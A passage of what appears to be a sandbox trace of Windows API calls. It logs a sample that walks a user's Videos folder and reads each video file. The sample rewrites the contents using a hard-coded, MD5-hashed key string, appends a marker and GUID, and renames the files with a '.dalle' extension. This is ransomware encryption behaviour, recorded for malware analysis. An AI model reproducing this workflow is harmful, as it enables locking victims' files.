ftLastAccessTime.dwLowDateTime=0xe295f530, ftLastAccessTime.dwHighDateTime=0x1d4c5e8, ftLastWriteTime.dwLowDateTime=0xe295f530, ftLastWriteTime.dwHighDateTime=0x1d4c5e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJouaT8GLVkAGNwL.mp4", cAlternateFileName="MJOUAT~1.MP4")) returned 0 [0121.525] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.525] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.525] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.525] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\") returned="jDCuGCvpf1uArI\\" [0121.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.527] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.527] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0121.527] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.527] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.527] PathFindFileNameW (pszPath="") returned="" [0121.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.527] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b87c360, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x7cf8d6d0, ftLastAccessTime.dwHighDateTime=0x1d4d118, ftLastWriteTime.dwLowDateTime=0x7cf8d6d0, ftLastWriteTime.dwHighDateTime=0x1d4d118, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.528] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b87c360, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x7cf8d6d0, ftLastAccessTime.dwHighDateTime=0x1d4d118, ftLastWriteTime.dwLowDateTime=0x7cf8d6d0, ftLastWriteTime.dwHighDateTime=0x1d4d118, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.528] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1367260, ftCreationTime.dwHighDateTime=0x1d4c816, ftLastAccessTime.dwLowDateTime=0xa3bea320, ftLastAccessTime.dwHighDateTime=0x1d4c6bf, ftLastWriteTime.dwLowDateTime=0xa3bea320, ftLastWriteTime.dwHighDateTime=0x1d4c6bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DazZdjJb9WM2iqx", cAlternateFileName="DAZZDJ~1")) returned 1 [0121.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2fccbb0 [0121.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f30df8 | out: hHeap=0x5e0000) returned 1 [0121.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.528] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2925d20, ftCreationTime.dwHighDateTime=0x1d4ce50, ftLastAccessTime.dwLowDateTime=0xb3f3a910, ftLastAccessTime.dwHighDateTime=0x1d4ca58, ftLastWriteTime.dwLowDateTime=0xb3f3a910, ftLastWriteTime.dwHighDateTime=0x1d4ca58, nFileSizeHigh=0x0, nFileSizeLow=0x6f9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iZgdpj28McGBvZ.flv", cAlternateFileName="IZGDPJ~1.FLV")) returned 1 [0121.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.529] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\iZgdpj28McGBvZ.flv") returned=".flv" [0121.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\iZgdpj28McGBvZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\izgdpj28mcgbvz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.530] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=28574) returned 1 [0121.530] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.531] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6f78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.532] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.533] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.533] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.533] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.533] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x6f9e, lpOverlapped=0x0) returned 1 [0121.534] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.534] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.534] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.534] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.534] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.535] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.535] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.535] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.535] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.535] GetLastError () returned 0x0 [0121.535] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.535] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x6fa0) returned 0x3096780 [0121.535] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.535] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x6f99, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x6f99, lpOverlapped=0x0) returned 1 [0121.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.536] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6f9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.536] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.536] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.536] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.536] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.536] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.536] CloseHandle (hObject=0x618) returned 1 [0121.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.537] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\iZgdpj28McGBvZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\izgdpj28mcgbvz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\iZgdpj28McGBvZ.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\izgdpj28mcgbvz.flv.dalle")) returned 1 [0121.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.538] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.539] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e9d8b0, ftCreationTime.dwHighDateTime=0x1d4cdd0, ftLastAccessTime.dwLowDateTime=0xdb0aa040, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0xdb0aa040, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x707b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k GCuA4o1c5KGh.avi", cAlternateFileName="KGCUA4~1.AVI")) returned 1 [0121.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.539] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.539] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\k GCuA4o1c5KGh.avi") returned=".avi" [0121.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\k GCuA4o1c5KGh.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\k gcua4o1c5kgh.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.539] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=28795) returned 1 [0121.539] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.541] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7055, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.541] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.542] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.542] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.542] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.542] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x707b, lpOverlapped=0x0) returned 1 [0121.543] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.543] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.543] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.543] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.543] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.544] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.544] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.544] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.544] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.544] GetLastError () returned 0x0 [0121.544] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.544] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7080) returned 0x3096780 [0121.544] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.544] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x7076, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x7076, lpOverlapped=0x0) returned 1 [0121.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.545] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x707b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.545] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.545] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.545] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.545] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.545] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.545] CloseHandle (hObject=0x618) returned 1 [0121.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8a0) returned 0x3096780 [0121.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.546] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\k GCuA4o1c5KGh.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\k gcua4o1c5kgh.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\k GCuA4o1c5KGh.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\k gcua4o1c5kgh.avi.dalle")) returned 1 [0121.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.546] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.547] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa631f7f0, ftCreationTime.dwHighDateTime=0x1d4d192, ftLastAccessTime.dwLowDateTime=0x79a096d0, ftLastAccessTime.dwHighDateTime=0x1d4c722, ftLastWriteTime.dwLowDateTime=0x79a096d0, ftLastWriteTime.dwHighDateTime=0x1d4c722, nFileSizeHigh=0x0, nFileSizeLow=0x1a8b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQ3V ylmHyu5rZMlP.avi", cAlternateFileName="OQ3VYL~1.AVI")) returned 1 [0121.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.548] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\OQ3V ylmHyu5rZMlP.avi") returned=".avi" [0121.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\OQ3V ylmHyu5rZMlP.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\oq3v ylmhyu5rzmlp.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.548] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=6795) returned 1 [0121.548] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.550] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1a65, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.550] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.552] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.552] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.552] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1a8b, lpOverlapped=0x0) returned 1 [0121.552] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.552] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.552] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.552] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.552] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.553] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.553] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.553] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.553] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.553] GetLastError () returned 0x0 [0121.553] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.553] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.553] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x1a90) returned 0x3096780 [0121.553] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.553] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.554] WriteFile (in: 